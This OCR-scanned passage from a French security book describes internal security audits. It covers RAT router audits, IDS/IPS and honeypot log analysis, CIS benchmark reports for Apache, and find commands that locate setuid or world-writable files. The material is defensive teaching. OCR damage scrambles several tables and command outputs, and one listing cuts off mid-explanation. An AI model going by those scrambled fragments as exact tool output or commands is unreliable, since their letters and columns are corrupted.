NTP Rules Definit les regies de securite relatives a la configuration du protocole de gestion de I'horloge systeme NTR 

GMT Rules Definit les regies de securite relatives a la configuration de la mise a I'heure de I'horloge systeme avec 

I'heure GMT. 



Control Service Rules Definit les regies de securite relatives a la configuration des services globaux. 
Routing Rules Definit les regies de securite relatives a la configuration des mecanismes de routage. 

Le tableau 13.2 recense les groupes de regies de securite Level-2 Benchmark. 
Tableau 13.2 Groupes de regies de securite Level-2 Benchmark 

Groupe de regies Description 

TACACS plus AAA Rules Definit les regies de securite relatives a la configuration de serveurs TACACS. 

Localtime Rules Definit les regies de securite relatives a la configuration de I'heure locale du systeme afin de dater 

les evenements reseau. 

Loopback Rules Definit les regies de securite relatives a la configuration de interface loopback generalement utilisee 

a des fins d'administration. 
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Apres l'installation de l'outil RAT sur un systeme Unix ou Windows, il suffit de lancer le 
programme ncat_conflg pour creer le flchier d' audit contenant les regies de securite qui 
seront lancees par l'outil : 

bash$ ncat_config 

/routers/bin/ncat_config: Select configuration type [cisco-ios] ? 

/routers/bin/ncat_config: Applying rules from: 

/routers /bin /ncat_config: / routers /etc/configs/ cisco-ios /common. conf 

/ routers /bin /ncat_config: /routers /etc/ conf igs/cisco-ios/cis -level -l.conf 

/ routers /bin /ncat_config: /routers /etc/ conf igs/cisco-ios/cis -level -2. conf 

/routers /bin /ncat_config: /routers /etc/configs /cisco-ios /local .conf 

/routers/bin/ncat_config: Apply some or all of the rules that are selectable [Yes] ! 

Nous pouvons alors lancer la commande rat sur la configuration test.txt (qui contient la 
configuration d'un routeur Cisco, par exemple) afin d'auditer la configuration du 
routeur : 

bash$ rat test.txt 

auditing test.txt. . . 

Parsing: //routers /etc/configs /cisco-ios /common. conf/ 

Parsing: //routers/etc/configs/cisco-ios/cis-level -l.conf/ 

Parsing: //routers/etc/configs/cisco-ios/cis-level -2. conf/ 

Parsing: //routers/etc/configs/cisco-ios/local .conf/ 

Checking: test.txt 

done checking test.txt. 

Parsing: //routers /etc/configs /cisco-ios /common. conf/ 

Parsing: //routers/etc/configs/cisco-ios/cis-level -l.conf/ 

Parsing: //routers/etc/configs/cisco-ios/cis-level -2. conf/ 

Parsing: //routers/etc/configs/cisco-ios/local .conf/ 

ncat_report: writing test.txt.ncat_fix.txt. 

ncat_report: writing test.txt.ncat_report.txt. 

ncat_report: writing test.txt.html. 

ncat_report: writing rules.html (cisco-ios-benchmark.html). 

ncat_report: writing all.ncat_fix.txt. 

ncat_report: writing all.ncat_report.txt. 

ncat_report: writing all. html. 

Les resultats de 1' audit sont stockes dans les fichiers suivants : 

• test.txt.ncat_report.txt : contient le rapport d' audit du routeur test.txt (le flchier est 
detaille par la suite). 

• test.txt.ncat_fix.txt : contient les commandes permettant d'appliquer les regies de 
securite. 

• test.txt.html : page Web contenant le resultat des deux fichiers precedents. 

• all.* : fichiers contenant 1' ensemble des informations consolidees si plusieurs configu- 
rations de routeur ont ete auditees. 

Le flchier test.txt.ncat_report.txt contient le detail de 1' audit. Pour une ligne donnee, il 
comporte le nom du flchier, les regies de securite, si la regie est appliquee (pass) ou non 
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(fail), l'importance de la regie en terme d'impact de securite (1-10), l'instance de la 
configuration en relation avec la regie, la ligne de la configuration relative a la verifica- 
tion de la regie, etc. 



En voic 



Confi 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 


test; 



un extrait : 

g; rule; Pass Fail ; Importance; Instance; Line 

OS 11 - no tcp-smal 1 -servers;PASS;7; ; 

OS 11 - no udp-smal 1 -servers;PASS;7; ; 

OS 11 - no finger service;FAIL;5; ;2 

OS 11 - no directed broadcast;FAIL;7;LoopbackO;31 

OS 11 - no identd service;PASS;7; ; 

OS - Use local authentication;FAIL;10; ;2 

OS - Create local users; FAIL;10; ;2 

OS - no ip bootp server;PASS;5; 

OS - no ip http server;PASS;10; 

OS - no cdp run;FAlL;7; ;2 

OS - no service confi g; PASS; 7 ; ; 

OS - encrypt passwords;PASS;7; ; 

OS - tcp keepalive service;FAIL;5; ;2 

OS - no snmp-server;FAIL;10;snmp-server community 12JDH1323 R0 80;2 

OS - no snmp-server;FAIL;10;snmp-server community 34JSHK292 RW 80;2 

OS - forbid SNMP read-write; FAI L ; 10 ; 34JSHK292 ; 63 

OS - forbid SNMP community publ ic; PASS; 10; ; 

OS - forbid SNMP community pri vate;PASS;10; ; 

OS - no ip source-route;PASS;7; ; 

OS - no ip proxy-arp;FAIL;5;LoopbackO;31 

OS - no ip proxy-arp;FAIL;5;EthernetO;34 

OS - exec-timeout;FAIL;7;con 0;65 

OS - login;PASS;10;; 

OS - require line passwords;FAIL;10;con 0;65 

OS - VTY transport telnet or ssh;FAIL;5;vty ; 67 

OS - enable secret;PASS;10; ; 

OS - line password qual ity ;FAIL;5;con ; 65 

OS - Apply VTY ACL; FAIL;10;vty 0;67 

OS - Define VTY ACL;FAIL;10; ;2 

OS - service timestamps;FAIL;5; ;2 

OS - enable 1 oggi ng ; PASS ; 5 ; ; 

OS - set syslog server;FAIL;5; ;2 

OS - logging buffered;FAIL;5; ;2 

OS - logging console critical ;FAIL;3; ;2 

OS - logging trap info or hi gher ; PASS ; 3 ; ; 

OS - ntp server;FAIL;5; ;2 



OS - ntp server 2;FAIL;5; 
OS - ntp server 3;FAIL;5; 
OS - clock timezone - GMT 



2 
2 
FAIL;3;;2 



OS - forbid clock summer-time - GMT;PASS;5;; 

L'outil RAT est accompagne d'un outil d' audit permettant de noter les elements 
suivants : 
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• Nombre de tests realises, ici 67. 

• Nombre de regies de securite appliquees, ici 15. 

• Nombre de regies de securite non appliquees, ici 52. 

• Pourcentage de regies de securite appliquees, ici 14 x 100/67 = 22 %. 

• Score pondere par l'importance des regies de securite appliquees, ici 1 10 (somme des 
15 regies de securite appliquees multipliee par leur importance respective). 

• Score pondere par l'importance si toutes les regies de securite sont appliquees, ici 472 
(somme des 67 regies de securite definies multipliee par leur importance respective). 

• Score final correspondant au rapport entre le score pondere des regies de securite 
appliquees par le score pondere de toutes les regies de securite, ici 10x1 10/472 = 2. 

RAT a ete le premier outil distribue a grande echelle a permettre d' analyser les configu- 
rations des routeurs. II evolue sans cesse et integre desormais des verifications de plus en 
plus evoluees. Cependant, les scores fournis doivent etre interpretes non comme un 
niveau de securite mais plutot comme un indicateur d' application des regies de securite. 

Nous recommandons de definir une politique de securite reseau relative a la configura- 
tion des equipements reseau puis d' installer RAT et de verifier l'etat des configurations 
des routeurs du reseau. 

Analyse de la configuration des equipements 
de securite reseau passifs 

Les equipements de securite passifs, tels que sondes de detection d'intrusion IDS (Intru- 
sion Detection System), tables d'ecoute, pots de miel (honeypots) ou sondes de preven- 
tion d'intrusion IPS (Intrusion Preventing System), n'ont pas pour fonction de proteger le 
reseau ou le systeme d' information. lis sont charges d'effectuer des controles proactifs 
ou reactifs du reseau, selon la maniere dont ils sont parametres et controles. 

Puisque ces equipements n'ont habituellement pas un role actif dans le reseau (sinon on 
pourrait les utiliser contre celui-ci), c'est l'analyse de leurs traces (logs) qui apporte 
V information importante. Nous les considerons done comme faisant partie des controles 
internes de securite. 

Plan de controle et procedures 

La verification de 1' application de la politique de securite consiste a definir un controle 
interne de securite sur les fichiers de configuration de ces equipements, mais egalement 
de controler les traces collectees par ceux-ci. 

Pour y parvenir, un ensemble d'etapes doivent etre accomplies, comme illustre a la 
figure 13.4. 
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Politique de securite 



Configuration des systemes d'exploitation 



I 



I 



Tests de verification 



I 



Application des tests de verification 
sur chaque systeme 


1 






Rapport de verification 
(de I'application de la politique de securite ) 













I 



Tests d 'analyse des 
traces 



I 



Traces collectees sur les systemes 
d'exploitation 



I 



Application des tests d'analyse des traces 
sur chaque systeme 






1 






Rapport de verification 
(de I'application de la politique de securite ) 
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Figure 13.4 

Processus de verification des configurations et traces des systemes 



Analyse des traces des sondes d'intrusion IDS/IPS 

Contrairement a ce que Ton pourrait croire, une sonde de detection d'intrusion (IDS) ne 
sert pas a detecter une intrusion a proprement parler. Sa mission est de detecter et de 
signaler tout comportement anormal du reseau, que ce soit sous la forme d'un paquet de 
donnees mal forme (selon les criteres dermis) ou d'un flux reseau non autorise par la 
politique de securite. 

De meme, une sonde de prevention d'intrusion (IPS) ne permet pas de detecter un intrus 
avant qu'il commence a agir. Sa fonction est d' analyser le trafic reseau et de produire une 
matrice statistique de flux. Cette matrice indique quels sont les flux en transit (adresses IP 
sources, destination, ports et protocoles) et la bande passante que chacun d'eux 
consomme. 

La configuration de 1'IPS a pour objectif d'indiquer a la sonde le critere a partir duquel le 
comportement reseau est anormal. Ainsi, un reseau constitue de stations de travail 
Windows s'echange-t-il normalement des flux sur les ports 139/TCP (Netbios Session) 
137/UDP (Netbios Name) et 138/UDP (Netbios Datagram). 

En presence d'un ver (ce que les IPS savent detecter le mieux) s'appuyant sur le port 
Netbios Session pour se dupliquer, la bande passante habituelle du flux 139/TCP 
commence a augmenter sans motif apparent. La sonde remonte une alerte, enclenchant une 



358 



Tableaux de bord de la securite reseau 



enquete des equipes de securite, lesquelles soup^onnent sans difflculte la presence d'un 
nouveau ver Microsoft et l'eradiquent avant que sa propagation devienne incontrolable. 

Ces sondes peuvent aussi etre actives. Lorsqu'elles sont parametrees dans ce mode, elles 
sont capables de declencher des actions en fonction de criteres, tels que la modification 
d'une ACL sur un equipement flltrant. On dit alors que la sonde est proactive, car elle 
reagit a la detection de l'evenement au lieu de se contenter de le signaler. II est toutefois 
conseille d'eviter de mettre en ceuvre des sondes proactives, car elles peuvent etre utili- 
sees contre le reseau. 

L' analyse des traces de ce type de peripherique passif de securite est done primordiale 
pour s' assurer du respect des politiques de securite de l'entreprise. 

Politique de securite reseau simplifiee 

« Seul le trafic autorise transite sur le reseau de l'entreprise (intranet). » 

Une telle politique n'est pas triviale a controler dans l'absolu. Une methode consiste a 
etablir la liste des flux autorises, avec leurs caracteristiques, et a considerer tous les autres 
comme contraires a la politique. 

Le controle 

L' inconvenient majeur des sondes d'intrusion est que chacune d'elles est independante 
de 1' analyse des autres. Par consequent, chaque sonde rapporte une anomalie en fonction 
de sa connaissance limitee du reseau. Afm de reduire le nombre de faux positifs (alertes 
sur des incidents qui n'existent pas), il est necessaire de correler l'information avec 
d' autres sources, comme d' autres sondes (IDS ou IPS), mais egalement avec des traces 
de pare-feu, voire des traces associees aux systemes d' exploitation. 

Certaines solutions permettent de correler les evenements avec plus ou moins d'efflca- 
cite. Ainsi, Snort, une sonde d'intrusion gratuite, propose sa console Demarc afln de 
correler les evenements de plusieurs sondes Snort, mais egalement de centraliser 1' admi- 
nistration. 

Lorsque les sources d' information sont de nature differente, il faut mettre en oeuvre des 
solutions a la fois plus robustes et plus flexibles, permettant en premier lieu de transfor- 
mer les differents formats d' alertes en un format uniforme, mais egalement d'offrir la 
possibilite de creer des alertes en fonction de differents types d' evenements, soit de 
maniere simplifiee, soit par l'utilisation d'un macrolangage. Dans tous les cas, une archi- 
tecture doit etre creee pour permettre la collecte des alertes et 1' elimination des faux posi- 
tifs, afln que seuls les evenements veritablement signiflcatifs soient rapportes. 

La figure 13.5 illustre comment pourrait etre architecturee une solution de controle 
fondee sur 1' analyse des traces des sondes de detection ou de prevention, des routeurs, 
des commutateurs, des pare-feu et meme des ordinateurs du reseau. 

Les traces sont envoy ees a un collecteur local, pour des raisons d' optimisation de la 
bande passante, lequel est charge de transformer l'information dans un format standard, 
puis d'effectuer un premier tri. Pour tout evenement que le collecteur estime significatif 
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Figure 13.5 

Architecture de collecteurs de traces 

(en fonction de son parametrage), l'alerte est reacheminee au collecteur suivant (il peut y 
avoir plusieurs etages de collecteurs selon la taille de l'entreprise), jusqu'a parvenir au 
collecteur central. 

Au niveau du collecteur central, differents processus automatises effectuent des analyses 
standards. Des comportements types, comme les paquets mal formes, peuvent ainsi etre 
rapportes sans que cela necessite de developper un code programme specifique. Le 
collecteur central peut egalement valider ou invalider l'alerte. 

Imaginons un chemin 1 (voir figure 13.6), par lequel un paquet mal forme va d'un point 
A vers un point B. Sur le chemin reseau 1 de ce flux sont presents differents equipements 
qui doivent noter le passage de ce paquet et renvoyer l'information a leur collecteur, 
lequel la renvoie au collecteur central. Au niveau de celui-ci, il est possible, avant de 
considerer l'alerte comme valide, de s'assurer que le paquet est veritablement parti du 
point A et a atteint le point B en empruntant la totalite du chemin 1. 

Si les equipements sur le chemin 1 ne notent rien, le collecteur central peut estimer a 
juste titre que l'adresse IP source du paquet est en realite usurpee et peut meme determi- 
ner quel est le veritable point de depart du paquet (le point A sur la figure) et le chemin 
(chemin 2 sur la figure) si un autre equipement a note le passage du paquet. 

Le collecteur central, une fois qu'il a valide toutes les hypotheses associees a une serie 
d'evenements, genere une alerte selon la politique de securite definie. 

Resultats du controle 

L'avantage d'une solution centralisee de collecte des alertes de sondes est qu'une corre- 
lation supplementary peut etre etablie, fournissant une vision plus globale de 1' incident 
potentiel. Sans cette centralisation, les sondes genereraient une forte quantite de faux 
positifs, contraignant les equipes de securite a perdre du temps a traiter des evenements 
qui s'averent souvent insignifiants. 

Lorsqu'on combine des sondes de detection (chargees de detecter une signature de 
paquet particuliere) avec des sondes de prevention (fonctionnant sur 1' analyse comporte- 
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Figure 13.6 

Description de I 'attaque 



mentale), on constate qu'il est possible de diminuer le nombre de faux positifs. Une 
augmentation des flux RPC Windows (135/TCP) n'est ainsi pas necessairement le signe 
d'une menace, sauf si les paquets vehiculent un ver Nachi. 



Analyse des traces des pots de miel (honeypots) 

Les pots de miel ont pour fonction d'attirer les personnes malveillantes par leur presenta- 
tion allechante, arm que celles-ci tentent de nuire au systeme. 

Tout acces vers un tel peripherique peut signifier deux choses : 

• erreur de la part d'une personne (dans la saisie d'une adresse IP, par exemple) ; 

• personne malveillante essayant de penetrer le perimetre du systeme. 

S'il s'agit d'une erreur, l'incident est rapidement clos. L'utilisateur tente, par exemple, de 
s'authentifier et echoue. II tente alors a nouveau, toujours de la meme maniere, et finit 
apres plusieurs tentatives par s'arreter, realisant son erreur ou appelant au secours un 
centre d'appel utilisateur. 

A l'inverse, la personne malveillante reste collee au pot de miel et tente differentes analy- 
ses et approches arm de trouver le point le plus faible. Le pot de miel permet ainsi aux 
equipes securite de commencer leur enquete visant a determiner l'origine de 1' attaque ou 
de trouver son veritable point de depart ainsi que les moyens utilises. L'intrus peut en 
effet avoir pris le controle de multiples machines et rebondir sur celles-ci avant d'arriver 
au pot de miel. 
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Des qu'un pot de miel est attaque par des methodes telles que balayage de port, prise 
d'empreinte ou tentative de debordement de tampons sur un des services reseau, il faut au 
plus vite remonter une alerte. 



Analyse de la configuration des systemes reseau 

Un sy steme d' exploitation offre differents services selon les choix de son administrateur. 
Chacun de ces services est generalement parametrable par 1' intermediate d'un fichier de 
configuration. Sachant que l'eventail des services reseau existants necessite une connais- 
sance pointue, il n'est pas rare de trouver des erreurs de configuration qui engendrent des 
faiblesses de securite. Comme dans le cas des equipements reseau, les flchiers de confi- 
guration sont generalement sous forme texte et peuvent done etre analyses afin d'y detec- 
ter des faiblesses. 

Un systeme de collecte des traces (logs) peut etre applique a de multiples niveaux, 
notamment les suivants : 

• Tentatives de connexion sur des services reseau (FTP, SSH, etc.) ou tentatives de 
passer outre le filtrage d'un pare-feu systeme (IPfilter, IPtables, etc.). 

• Tentatives de connexions a des services applicatifs et echanges avec les clients qui les 
utilisent, telles les URL demandees a un serveur HTTP. 

• Tentatives d'obtention de privileges d' administration sur le systeme d' exploitation lui- 
meme (commande su sous Unix), messages d' alerte tels que syslog sous Unix, lui- 
meme alimente par tous les services du systeme d' exploitation, y compris le noyau, etc. 

Analyse des fichiers de configuration des services reseau 

Les services reseau sont generalement les premiers elements qui sont attaques par une 
personne malveillante. Les fichiers de configuration de ces services sont done souvent la 
premiere source de faiblesses. 

Dans la definition d'un service reseau, certains parametres sont toujours associes au 
fonctionnement dudit service. Ainsi, un serveur HTTP peut etre execute en tant que supe- 
rutilisateur, avec tous les privileges possibles du systeme, ou en tant que simple utilisa- 
teur. Un serveur SSH peut autoriser l'acces root direct ou l'interdire. 

Tous ces parametres augmentent ou reduisent le niveau de vulnerability associe a un 
service reseau donne. II est done necessaire de controler ces fichiers de configuration 
quand le systeme d' exploitation le permet. 

Politique de securite 

« Un service reseau est execute avec un minimum de privileges. » 

Une telle politique de securite engendre un certain nombre d' exceptions, notamment les 
suivantes : 
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• Services reseau qui ne savent pas fonctionner autrement qu'avec tous les privileges du 
systeme. 

• Applications mal con^ues (souvent des serveurs HTTP), qui ont besoin d' avoir un 
acces direct a tous les privileges du systeme. 

Suite aux innombrables attaques qui ont exploite ce type de faiblesse, de plus en plus de 
services ne reclament pas davantage de privileges que necessaire. 

Le contrdle 

Differentes methodes permettent d'effectuer le controle des fichiers de configuration. 

Cela peut se faire manuellement, en fournissant a un expert de la securite les elements 
qu'il analysera afln de fournir son evaluation de securite. Si le nombre de systemes est 
important, cette methode devient cependant vite ingerable. 

II est possible d'automatiser 1' acces aux fichiers de configuration par la mise en place 
d'un standard sur les differents systemes. Ainsi, un systeme central peut aller chercher 
par une methode de conflance (acces authentifle et chiffre) les fichiers de configuration 
afln de les rapatrier regulierement et de les analyser automatiquement. 

Comme l'illustre la figure 13.7, le systeme central peut acceder automatiquement a une 
liste de systemes construite a partir d'une interface homme-machine. L' acces se fait par 
S/FTP (FTP sur SSH) sur un compte ferme (chroot), dans lequel sont stockees des copies 
de chaque flchier de configuration. Ceux-ci sont alors rapatries dans un repertoire corres- 
pondant au nom de machine (hostname) du systeme concerne afln d'etre analyses. Enfln, 
le rapport est envoy e directement a chaque administrateur des systemes concernes. 



Figure 13.7 
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Durant l'etape 1, les equipes de securite renseignent une base de donnees fournissant les 
systemes a controler. Le systeme charge des controles va verifier a l'etape 2 s'il doit en 
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effectuer un nouveau. II collecte a 1' etape 3 les fichiers de configuration afin de les 
controler et envoie ses resultats (etape 4). 

Le sy steme charge d'etablir les rapports compare la politique de securite avec les resul- 
tats de 1' audit re^us (etape 5) et produit le rapport (etape 6). 

Afin de minimiser le risque, le mot de passe utilise par l'acces S/FTP peut etre construit 
a partir d'une cle maitresse, en utilisant l'adresse IP du systeme a controler couplee a son 
nom de machine, par exemple. Ainsi, chaque acces S/FTP s'appuie sur un mot de passe 
different. Seule la compromission du systeme charge d' effectuer les controles permet de 
divulguer les mots de passe. 

Les outils de controle 

Les outils CIS (http://www.cisecurity.org) sont disponibles pour de multiples systemes 
d' exploitation, comme Windows, Linux, FreeBSD, Solaris, HP-UX, Aix et MacOS/X, 
ainsi que pour des peripheriques tels que les routeurs ou les Pix Cisco ou des applications 
telles que Microsoft Exchange, Apache ou le SGBDR Oracle. 

Les outils CIS sont gratuits et s'executent directement sur la machine a controler (opera- 
tion semi-automatique). lis deduisent une note (principe du scoring) et des faiblesses a 
corriger. 

CIS renvoie le resultat de son analyse sous forme HTML ou texte, comme dans 1' exem- 
ple suivant, dans lequel les donnees sont obtenues en analysant un serveur Apache 1.3.33 
sous Unix : 

Level 



Section 1.1 Harden Underlying Operating System 

[PASSED] Has the Operating System been hardened according to any and all 
applicable OS system security benchmark guidance? (Answer: Yes) 

Section 1.2 Create the Web Groups 

[PASSED] Created three dedicated web groups? (Answer: Yes) 

Section 1.3 Create the Apache Web User Account 

[FAILED] Apache running as "nobody". 

Section 1.4 Lock Down the Apache Web User Account 

[FAILED] User (nobody) has an active shell "/bin/sh". 

Section 1.5 Apache Distribution Download 

[PASSED] Downloaded the Apache source and MD5 Checksums from httpd.apache.org? 

(Answer: Yes) 

Section 1.6 Verify the MD5 Checksums 

[PASSED] Verified the Apache MD5 Checksums? (Answer: Yes) 

Section 1.7 Apply Current Patches (Applicable to your OS Platform and Apache 
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[PASSED 

Section 
[SKIPPED] 



Section 
[FAILED 
[PASSED 
[PASSED 
[PASSED 
[FAILED 
[FAILED 
[PASSED 
[FAILED 

Section 
[PASSED 

Section 
[PASSED 
[FAILED 
[FAILED 

Section 
[PASSED 
[PASSED 
[FAILED 

Section 
[FAILED 
[PASSED 
[PASSED 
[FAILED 
[PASSED 
[PASSED 
[FAILED 

Section 
[FAILED 
[PASSED 
[FAILED 
[FAILED 
[FAILED 
[FAILED 
[FAILED 
[FAILED 

Section 
[FAILED 



8 



.9 



10 



.11 



12 



13 



.14 



15 



Version) 

Applied the current distribution patches? (Answer: Yes) 

Update the Apache Banner Information 
Web server not specified with -s. 

Configure the Apache Software 
"mod_headers.c" should be compiled into Apache. 
"mod_imap.c" is not be compiled into Apache. 
"mod_autoindex.c" is not be compiled into Apache. 
"mod_status.c" is not be compiled into Apache. 
"mod_rewrite.c" should be compiled into Apache. 
"mod_auth_digest.c" should be compiled into Apache. 
"mod_userdir.c" is not be compiled into Apache. 
"mod_vhost_al ias.c" should be compiled into Apache. 

Compile and Install the Apache Software 

Compiled and installed Apache distribution? (Answer: Yes) 

Server Oriented General Directives 

Server type is "standalone" 

HostnameLookups is off 

HostnameLookups is off for <VirtualHost 192. 168.0. 254> 

User Oriented General Directives 

User is "nobody" 

Group is "nogroup" 

ServerAdmin email address is blank. 

Denial of Service (DoS) Protective General Directives 
TimeOut value "300" is greater than the recommended "60" 
KeepAl ive value is "On" 
KeepAl iveTimeout is "15" 
StartServers value of T 
MinSpareServers is "1" 
MaxSpareServers is "5" 
MaxClients value of "150' 



is less than the recommended "10" 



is less than the recommended "256" 



Web Server Software Obfuscation General Directives 
ServerTokens is "full" 
ServerSignature is "Off" 



ErrorDocument i 

ErrorDocument i 

ErrorDocument i 

ErrorDocument i 

ErrorDocument i 



s not set for status 

s not set for status 

s not set for status 

s not set for status 

s not set for status 



ErrorDocument is not set for status 

Web Server Fingerprinting 

No fake headers have been specified 



code 


"400". 


code 


"401". 


code 


"403". 


code 


"404". 


code 


"405". 


code 


"500". 
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Section 1.16 
[FAILED] 
[FAILED] 
[FAILED] 

Section 1.17 
[FAILED] 

Section 1.18 
[FAILED] 

Section 1.19 
[PASSED] 



Section 1.20 
[FAILED] 

Section 1.21 
[FAILED] 

[FAILED] 

Section 1.22 
[FAILED] 

Section 1.23 
[SKIPPED] 
[SKIPPED] 

Section 1.24 
[FAILED] 
[FAILED] 
[FAILED] 
[FAILED] 
[VERIFY] 
[FAILED] 
[PASSED] 

Section 1.25 
[FAILED] 



Intrusion Detection Options 
Are fake CGI scripts used? (Answer: No) 
LocationMatch is not used to limit scans 
ScriptAl iasMatch is not used 

Mod_Security 

Module mod_security is not compiled into apache binary. 

Access Control Directives 

No "Directory" entry for directory "/". 

Authentication Mechanisms 

Have you implemented any basic authentication access controls? 

(Answer: No) 

Directory Functionality/Features Directives 
No "Directory" entry for directory "". 

Limiting HTTP Request Methods 

LimitExcept directive on Virtual Host "192.168.0.254" is not properly 

set for GET and POST. 

LimitExcept directive on "" is not properly set for GET and POST. 

Logging General Directives 
LogLevel is set to "". 

Remove Default/Unneeded Apache Files 

DocumentRoot "" does not exist. 

User "nobody" home directory (/users/fake) does not exist. 

Update Ownership and Permissions for Enhanced Security 
Server Conf directory "/usr/local /conf/" does not exist. 
Document Root "" does not exist. 
Log directory "" does not exist. 
CGI directory "" does not exist. 

Server Bin directory "/usr/local /bin/" group is properly set. 
Permissions on Server Bin directory "/usr/local/bin/" should be "550". 
Owner of Server Bin directory "/usr/local/bin/" is root. 

Update the Apachectl Script for Email Notification 

Updated the default apachectl start script's code to send alerts to 

the appropriate personnel? (Answer: No) 



[Apache Benchmark Score: 3.55 out of 10.00] 

II est evidemment possible de construire son propre script d' analyse des configurations 
au moyen de langages simples, tels que AWK ou Perl. L'auditeur peut alors inclure dans 
son analyse des besoins speciflques. 
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Analyse de la configuration du systeme d'exploltatlon 

Les fichiers de configuration d'un systeme d' exploitation sont eux aussi fondamentaux 
pour la securite du systeme. lis doivent etre verifies afin de limiter les faiblesses poten- 
tielles dudit systeme face aux attaques externes. 

Les fichiers de configuration concernent notamment les elements suivants : 

• Les fichiers de configuration des programmes tels que le gestionnaire d' impression, le 
programme effectuant les sauvegardes de fichiers, etc. 

• Les controles d'acces (permissions) aux fichiers et repertoires, mais aussi de zones 
particulieres, telles que la memoire, les peripheriques physiques, etc. 

• Les mots de passe des utilisateurs. 

• Les signatures des executables afin de s'assurer qu'ils sont a jour en terme de correctif 
de securite. 

Une fois tous ces elements analyses, un recoupement des informations permet de limiter 
les attaques initiales du systeme. 

Politique de securite 

« Chaque utilisateur n 'effectue que les actions qui lui sont autorisees. » 

II s'agit d'appliquer une politique de separation des privileges sur le systeme d' exploita- 
tion. Une telle politique signifie qu'un seul compte superutilisateur doit exister et qu'il 
n'est utilise que de maniere exceptionnelle. 

Chaque service ne doit disposer que des droits dont il a besoin. Dans le meme esprit, un 
logiciel de sauvegarde a le droit de lire l'integralite des donnees dans les zones dont il a 
la charge, mais ne doit pas pouvoir modifier les permissions. 

Le controle 

Des outils, tels que CIS-Tools permettent d' assurer une partie de cette analyse, comme 
l'illustre la figure 13.8. 

Ce type d'outil, dit de Host Based Security Assessment, a pour mission d' analyser un 
systeme d' exploitation de l'interieur mais n'est pas toujours a meme d' analyser la confi- 
guration d'un service reseau qui n'est pas fourni d'origine par le systeme. 

II existe de multiples solutions commerciales d' outils de Host Based Security Assess- 
ment, notamment chez Symantec, BindView, NetlQ, etc. De telles solutions sont genera- 
lement fondees sur le principe d' agents en charge de lancer les tests sur les machines a 
controler, de controleurs de groupes d' agents et de consoles gerant les controleurs et 
mettant en forme les resultats. 

Les tests sont periodiquement mis a jour, evitant ainsi le fastidieux developpement de 
nouvelles verifications. La plupart des outils proposent un langage de programmation 
permettant aux equipes de securite de faire leurs propres tests. 



Controle interne de securite 



367 



Chapitre 13 



Figure 13.8 
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De tels outils fournissent des rapports simples destines au management, jusqu'aux 
versions techniques, en passant par la version « tableau de bord », dans laquelle le niveau 
est memorise afln que la courbe d' evolution de la securite de la plate-forme puisse etre 
maintenue, comme l'illustre la figure 13.9 avec ESM (Enterprise Security Manager) 6.5 
de Symantec. 

D'autres outils specialises ont vocation a aider les administrateurs a securiser leurs 
plates-formes, notamment YASSP (Yet Another Solaris Security Package), Bastille 
Linux. Ces outils ne font pas d' evaluation de la securite, mais ressortent toutes les caren- 
ces de configuration d'un systeme d' exploitation insuffisamment parametre. lis peuvent 
egalement etre utilises comme une base de renseignements pour permettre a l'auditeur 
d'evaluer la securite de la plate- forme. 
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Figure 13.9 

La console ESM (Enterprise Security Manager) de Symantec 



Pour ceux qui desirent realiser par eux-memes ce type de controle, de nombreux outils 
assurent une partie du travail. Ainsi, la qualite des mots de passe peut etre analysee a 
l'aide des outils John the Ripper ou Crack sous Unix ou lOphtCrack sous Windows. 

Certaines astuces decoulant de 1' experience de 1' administration des systemes sont des 
classiques qui peuvent toujours etre utilises. Ainsi, la recherche de permissions trop 
laxistes peut se faire au moyen d'une simple ligne de commande. 

Par exemple, 1' extraction des fichiers appartenant a root avec un setuid presente un 
risque, car de tels programmes (RCP, ping, etc.) ont les privileges de root, meme s'ils 
sont lances par un simple utilisateur. 

II est possible de trouver de tels executables avec la ligne de commande suivante : 



# find / -perm +u+s -user -Is 

-r-sr-xr-x 1 rootwheel 254864 Feb 22 

-r-sr-xr-x 1 rootwheel 206136 Feb 22 

-r-sr-x — 1 rootoperator 171284 Feb 22 

-r-sr-xr-x 4 rootwheel 19808 Feb 22 



2005 /bin/rcp 

2005 /sbin/ping 

2005 /sbin/shutdown 

2005 /usr/bin/batch 
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Comme nous pouvons le voir a la derniere ligne, notre ami Jean a mis en place un moyen 
d'acceder a tout le systeme. 

Cette methode fonctionne egalement pour trouver des objets avec des permissions trop 
laxistes, qui permettent a quiconque de les modifier : 

# find / -type f -or -type d -perm +o+w -Is 



drwxrwxrwt 
drwxrwxrwx 
drwxrwxrwt 
drwxrwxrwt 
drwxrwxrwt 
drwxrwxrwt 



2 rootwheel 

2 uucpuucp 

3 root wheel 
2 root wheel 

12 root wheel 

2 root wheel 



512 Sep 30 21:53 /usr/tmp 

512 Sep 18 2001 /var/spool /uucppubl ic 

512 Aug 17 19:42 /var/spool /samba 

512 Oct 19 19:27 /var/spool /samba/HP6mp 

512 Oct 21 19:42 /var/tmp 

512 Oct 11 08:30 /var/tmp/vi . recover 



De meme, certains outils peuvent utiliser des bases de donnees de signatures MD5 afln 
de s' assurer qu'un binaire est integre. La comparaison des signatures des flchiers peut 
etre assuree par des outils specialises tels que mtree ou Tripwire. Tripwire existe en 
version gratuite et commerciale, cette derniere offrant des services supplementaires. 
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Analyse des traces des services applicatifs 

Les traces des services permettent de s' assurer de l'etat du service concerne (probleme 
d'acces, de permissions, etc.). 

Un serveur HTTP, par exemple, peut reveler que l'adresse 127.0.0.1 est venue le 23/10/ 
2005 chercher la page /pages/colibri009.html d'une taille de 1 688 octets avec succes 
(code d'erreur 200) et que le client HTTP etait un Mozilla/5.0 nomme « Yahoo! Slurp » : 



i 



127.0.0.1 - - [23/0ct/2005:00:09:23 +0200] "GET /pages/col ibri009. html 
HTTP/1.0" 200 1688 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp)" 



II est aussi possible de detecter (en lisant le fichier d'erreurs) que quelqu'un a tente 
d'acceder aux statistiques du serveur, cherchant sans doute a exploiter une faiblesse du 
programme AWstats : 



i 



[Wed Oct 19 15:16:53 2005] [error] [client 211.21.77.62] File does not exist: /http/ 
1 a urent/aws tats/ awstats.pl 



Dans le meme esprit, le serveur FTP peut reveler jusqu' aux noms des flchiers demandes 

Oct 08 09:43:58 serveur.ftp.com proftpd[4070] serveur.ftp.com 

(192. 168. 0.15[192. 168. 0.15]): ANON uti 1 isateur_x: Login successful. 

